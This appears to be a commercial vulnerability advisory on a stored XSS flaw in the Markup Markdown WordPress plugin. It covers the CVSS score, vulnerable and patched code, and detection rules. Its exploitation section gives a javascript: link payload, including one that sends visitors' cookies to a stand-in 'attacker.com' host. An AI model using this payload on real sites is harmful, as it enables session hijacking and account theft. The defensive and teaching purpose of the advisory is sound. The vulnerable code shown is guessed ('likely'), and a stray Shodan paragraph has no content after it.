CVE-2025-9541
Executive Summary
CVE-2025-9541 is a Stored Cross-Site Scripting (XSS) vulnerability in the Markup Markdown WordPress plugin, affecting versions prior to 3.20.10. The vulnerability allows authenticated users with contributor-level access or higher to inject arbitrary JavaScript into links processed by the plugin’s Markdown parser. This stored XSS can be triggered when an administrator or other user views the malicious content, leading to session hijacking, data theft, or further compromise of the WordPress site.
The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin’s handling of Markdown link syntax. The plugin fails to sanitize or escape JavaScript in link URLs, allowing an attacker to craft a payload such as [click](javascript:alert('XSS')). When the rendered page is viewed, the JavaScript executes in the context of the victim’s browser.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Markup Markdown WordPress plugin, which is distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected if they are running a version below 3.20.10. There is no known compromise of the plugin’s supply chain; the vulnerability is a result of insufficient input validation in the plugin’s code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor role or higher
- User Interaction: Required (UI:R) – victim must view the malicious content
- Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WordPress environment can lead to privilege escalation, backdoor installation, or complete site takeover if combined with other vulnerabilities.
Deep Dive & Mechanics
The Markup Markdown plugin converts Markdown text into HTML for display on WordPress posts and pages. The vulnerability lies in the plugin’s handling of Markdown link syntax:
[link text](url)
The plugin does not properly validate or sanitize the url parameter. An attacker can inject a javascript: URI scheme, which, when rendered as an HTML <a> tag, will execute arbitrary JavaScript in the browser of any user who clicks the link or, in some cases, when the page is loaded (if the link is auto-triggered via event handlers).
Attack Flow:
- An attacker with contributor-level access creates a new post or edits an existing one.
- The attacker inserts a Markdown link with a JavaScript payload:
[click](javascript:alert('XSS')). - The plugin renders this as
<a href="javascript:alert('XSS')">click</a>. - When an administrator or other user views the post, clicking the link (or in some browsers, hovering) triggers the JavaScript.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (version < 3.20.10): The plugin likely uses a function similar to the following to parse Markdown links:
function parse_markdown_links($text) {
// Regex to match Markdown links
$pattern = '/\[([^\]]+)\]\(([^)]+)\)/';
$replacement = '<a href="$2">$1</a>';
return preg_replace($pattern, $replacement, $text);
}
This code directly inserts the URL from the Markdown into the href attribute without any sanitization.
Patched Code (version 3.20.10):
The patched version adds validation to ensure the URL does not contain dangerous schemes like javascript::
function parse_markdown_links($text) {
$pattern = '/\[([^\]]+)\]\(([^)]+)\)/';
$replacement = function($matches) {
$url = $matches[2];
// Block javascript: and other dangerous schemes
if (preg_match('/^(javascript|data|vbscript):/i', $url)) {
return $matches[0]; // Return original text or escape
}
return '<a href="' . esc_url($url) . '">' . esc_html($matches[1]) . '</a>';
};
return preg_replace_callback($pattern, $replacement, $text);
}
The patched code uses esc_url() (a WordPress function that strips dangerous schemes) and explicitly blocks javascript:, data:, and vbscript: URIs.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Markup Markdown plugin version < 3.20.10.
- A user account with at least the Contributor role.
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Create a new post or edit an existing one.
- In the content editor (Text mode), insert the following Markdown:
[Click me for a surprise](javascript:alert('XSS')) - Publish or save the post.
- When an administrator views the post and clicks the link, the JavaScript
alert('XSS')executes.
Advanced Payload: To steal cookies, use:
[Click me](javascript:document.location='https://attacker.com/steal.php?cookie='+document.cookie)
Note: Some modern browsers block javascript: in <a> tags when clicked. However, the payload can be triggered via other events (e.g., onmouseover) if the plugin allows HTML injection. In this case, the vulnerability is limited to javascript: URIs.
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts containing
javascript:in Markdown links. - Use a Web Application Firewall (WAF) to block requests with
javascript:in the URL parameter. - Review WordPress logs for suspicious post content.
Prevention:
- Immediately update the plugin to version 3.20.10 or later.
- Restrict contributor roles to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline JavaScript.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/markup-markdown/markup-markdown.php(or similar) – check version number. - Network: Outbound requests to attacker-controlled domains from the victim’s browser.
- Logs: WordPress post content containing
javascript:URIs. - Browser: Unexpected JavaScript execution (e.g., alerts, redirects) when viewing posts.
Detection Engineering
YARA Rule
rule Detect_Markup_Markdown_XSS {
meta:
description = "Detects Markup Markdown plugin files vulnerable to CVE-2025-9541"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9541"
strings:
$vuln_func = /preg_replace\s*\(\s*['"](.*?)\[\s*([^\]]+)\s*\]\s*\(\s*([^)]+)\s*\)\s*['"]/ nocase
$unsafe_href = /<a\s+href\s*=\s*['"]\s*\$2\s*['"]/ nocase
condition:
$vuln_func or $unsafe_href
}
Sigma Rule
title: WordPress Markup Markdown Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-9541 via post content containing javascript: URIs
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains: 'javascript:'
condition: selection
falsepositives:
- Legitimate use of javascript: in code snippets (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9541 WordPress Markup Markdown Stored XSS"; flow:to_server,established; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 3.20.10 or later from the WordPress plugin repository.
- Review all posts created by contributors for malicious Markdown links.
- Reset user sessions if any administrator clicked a malicious link.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block
javascript:URIs. - Enforce Content Security Policy (CSP) headers to disallow inline JavaScript.
- Regularly audit user roles and permissions.
- Enable automatic updates for WordPress plugins.
Patch Details:
- Upgrade to version 3.20.10, which sanitizes URLs using
esc_url()and blocks dangerous URI schemes.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.